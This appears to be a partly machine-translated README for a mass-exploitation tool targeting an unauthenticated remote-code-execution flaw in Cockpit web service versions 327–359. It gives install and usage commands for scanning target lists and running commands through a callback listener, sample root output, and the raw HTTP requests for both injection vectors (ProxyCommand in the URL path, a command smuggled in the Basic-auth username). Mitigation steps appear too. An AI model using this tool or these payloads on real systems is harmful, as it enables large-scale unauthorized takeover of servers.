Неаутентифицированное удалённое выполнение кода через внедрение аргументов командной строки SSH в Cockpit версиях 327 – 359 | CVSS 9.8 Критический | CWE-78
Неаутентифицированное удалённое выполнение кода через инъекцию аргументов командной строки SSH Версии Cockpit 327 – 359 | CVSS 9.8 критический | CWE-78
Инструмент массовой эксплуатации CVE-2026-4631 в веб-сервисе Cockpit (cockpit-ws, порт 9090). Поддерживает режим сканирования уязвимостей, режим RCE с перехватом вывода команды через встроенный HTTP callback-листенер, режим --auto (сканирование + эксплойт за один проход с командой по умолчанию id), автодобавление порта :9090 для целей без порта, оба вектора атаки (ProxyCommand + инъекция %r в имени пользователя), массовые цели из файла, конкурентные потоки (threading) и структурированный вывод результатов.
Автор: 0xNuts
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
pip install -r requirements.txt
Отредактируйте targets.txt — один хост в строке. Порт :9090 добавляется автоматически, если его нет:
192.168.1.10
cockpit.example.com
https://manage.lab.local
# Scan + exploit sekali jalan, command default "id"
python3 exploit.py -f targets.txt --auto --callback-ip <IP_ATTACKER>
# Contoh output di results.txt:
# example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
# Scan vulnerability saja (tanpa exploit)
python3 exploit.py -f targets.txt --scan -o scan_results.txt
# RCE eksplisit dengan command custom
python3 exploit.py -f targets.txt -c "whoami" --callback-ip <IP_ATTACKER>
# Single target
python3 exploit.py -t cockpit.example.com --auto --callback-ip <IP_ATTACKER>
CVE-2026-4631 — это слепой RCE (blind RCE): вывод команды не возвращается в HTTP-ответе. Инструмент использует встроенный HTTP-листенер (порт по умолчанию 8888) для перехвата вывода. Убедитесь:
--callback-ip — это IP-адрес, доступный с целевой системы (не 127.0.0.1)8888 (или на ваш --listener-port)# Debian / Ubuntu
sudo apt update && sudo apt install cockpit-ws
# RHEL / Fedora / CentOS
sudo dnf update cockpit-ws
# Verifikasi versi (harus >= 360)
dpkg -l cockpit-ws | awk 'NR==5{print $3}' # Debian
rpm -q cockpit-ws # RHEL
Отредактируйте /etc/cockpit/cockpit.conf:
[WebService]
LoginTo = false
Перезапустите службу:
sudo systemctl restart cockpit
Ограничьте порт 9090 только управляющей сетью:
sudo iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9090 -j DROP
Митигирует вектор 1 (инъекцию ProxyCommand) за счёт ранней проверки имени хоста:
ssh -V # harus OpenSSH_9.6 atau lebih baru
Если обновление до 360 невозможно, примените исправляющие коммиты:
-- в beiboot.py и cockpitauth.c-- в session.pyПодробности патча: см. docs/PATCH_ANALYSIS.md
| Поле | Описание |
|---|---|
| CVE ID | CVE-2026-4631 |
| GHSA | GHSA-m4gv-x78h-3427 |
| Серьёзность | Критический (CVSS 9.8) |
| CWE | CWE-78 — внедрение команд ОС |
| Затронуты | Cockpit 327 – 359 |
| Исправлено в | Cockpit 360+ |
| Требуется аутентификация | НЕТ (без аутентификации) |
| Сообщил | Jelle van der Waa |
| Сервис | cockpit-ws, порт по умолчанию 9090 |
Cockpit v327 заменил cockpit-ssh (libssh) на python3 -m cockpit.beiboot, который вызывает системный OpenSSH-клиент ssh. Пользовательский ввод — имя хоста из пути URL и имя пользователя из заголовка Authorization: Basic — передаётся в ssh без санитизации и без разделителя конца опций --. Инъекция происходит до проверки учётных данных, поэтому действительный логин не требуется.
Имя хоста из пути URL инъекцируется с помощью SSH-опции -oProxyCommand=<cmd>.
GET /cockpit+=-oProxyCommand=<URL_ENCODED_PAYLOAD>/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x:x")
SSH интерпретирует -oProxyCommand=<cmd> как опцию и выполняет <cmd> в качестве ProxyCommand. Команда выполняется от пользователя процесса cockpit-ws.
Предусловие: OpenSSH < 9.6 на целевой системе. В OpenSSH 9.6+ реализована ранняя проверка имени хоста, которая блокирует метасимволы.
%r в имени пользователя (дополнительный)Имя пользователя из заголовка Authorization: Basic инъекцируется shell-командой.
GET /cockpit+=legit-host/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x; <CMD>; #:x")
SSH подставляет имя пользователя в токен %r в директиве Match exec → shell выполняет внедрённую команду.
Предусловие: в ssh_config целевой системы есть директива Match exec с токеном %r.
LoginTo) не отключенаssh_config с Match exec %r# Clone dari GitHub
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
# Install dependency
pip install -r requirements.txt
# Verifikasi
python3 exploit.py --help
requests>=2.31 — HTTP-клиент для эксплойт-запросовcolorama>=0.4 — цветной вывод в терминалеДля листенера дополнительных зависимостей не требуется (используются stdlib http.server + threading).
usage: exploit.py [-h] [-t TARGET] [-f FILE] [--default-port PORT]
[-c CMD] [--scan] [--auto] [--vector {auto,proxycommand,username}]
[-o OUTPUT] [--callback-ip CALLBACK_IP] [--listener-port LISTENER_PORT]
[--threads THREADS] [--timeout TIMEOUT] [--delay DELAY] [--proxy PROXY]
[--user-agent UA] [-v] [--no-color]
CVE-2026-4631 Cockpit Mass Exploit — Unauthenticated RCE via SSH Argument Injection